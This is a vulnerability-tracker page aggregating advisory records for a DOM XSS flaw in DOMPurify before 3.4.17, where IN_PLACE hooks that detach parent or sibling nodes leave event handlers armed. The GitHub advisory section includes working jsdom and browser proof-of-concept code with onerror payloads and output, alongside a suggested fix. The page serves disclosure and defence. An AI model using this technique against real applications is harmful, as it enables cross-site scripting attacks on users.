Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 6/9 advisories · checked 16:58 UTC Customize Public modeDiscuss ChangeIntel on Discord

DOMPurify before 3.4.17 DOM XSS via IN_PLACE Hook-Detached Subtrees

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-116803

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.

Source published
26 Oct 2026 23:05:35 UTC
Source modified
26 Oct 2026 23:05:35 UTC
Observed here
27 Oct 2026 02:23:01 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

euvd · EUVD-2026-110511

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 26, 2026, 11:05:35 PM

dateUpdated: Oct 26, 2026, 11:05:35 PM

Source published
Oct 26, 2026, 11:05:35 PM (timezone not stated)
Source modified
Oct 26, 2026, 11:05:35 PM (timezone not stated)
Observed here
30 Oct 2026 02:00:27 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

nvd · CVE-2026-116803

Published

DOMPurify before 3.4.17 contains a cross-site scripting vulnerability that allows attackers to keep event handlers armed when an IN_PLACE hook removes a parent or sibling node. Attacker markup in detached subtrees is never walked or neutralized, so handlers like img onerror fire after sanitize() returns, causing DOM XSS.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-79

Original publisher date fields

published: 2026-10-27T00:17:11.913

lastModified: 2026-10-27T15:06:33.620

Source published
27 Oct 2026 00:17:11 UTC
Source modified
27 Oct 2026 15:06:33 UTC
Observed here
29 Oct 2026 11:13:09 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-mrv2-3pqr-j5jr

Published

### Summary The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `<img onerror>` that was already loading fires after `sanitize()` returns. The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `<img onload>` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node. ### Tested versions - 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8 jsdom for the matrix below, and Chromium (Playwright) for the event actually firing. ### Details `src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`: ```js if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (IN_PLACE) { _neutralizeSubtree(currentNode); } ``` It only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks. ### PoC (jsdom) ```js const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM('<!doctype html><body></body>').window const doc = win.document for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' + '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>' const root = doc.getElementById('root') const evil = doc.getElementById('evil') // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } }) DOMPurify.sanitize(root, { IN_PLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) } ``` Output on 3.4.16: ``` 3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)" ``` In `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`. ### PoC (browser) The same thing in a real page, served from 127.0.0.1 and opened in Chromium: ```html <!doctype html><meta charset=utf-8> <script src="purify.min.js"></script> <body><pre id=log></pre> <script> window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>'; D.sanitize(root, { IN_PLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.getElementById('log').textContent = 'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired); }, 1500); </script> ``` Result on 3.4.16: ``` version=3.4.16 self out=<div><figure><img src="x"></figure><p>ok</p></div> parent out=<div><p>ok</p></div> fired=["parent"] ``` The returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`. ### Impact An app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example "drop the whole `<figure>` if its image is not allowed") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p. ### Suggested fix Instead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options: - before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root` - or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)

Source published
22 Oct 2026 16:24:52 UTC
Source modified
27 Oct 2026 10:56:05 UTC
Observed here
27 Oct 2026 11:09:43 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 30 Oct 16:58 UTC · 272 of 272 readable · 270 fully read · documentation 469/469 current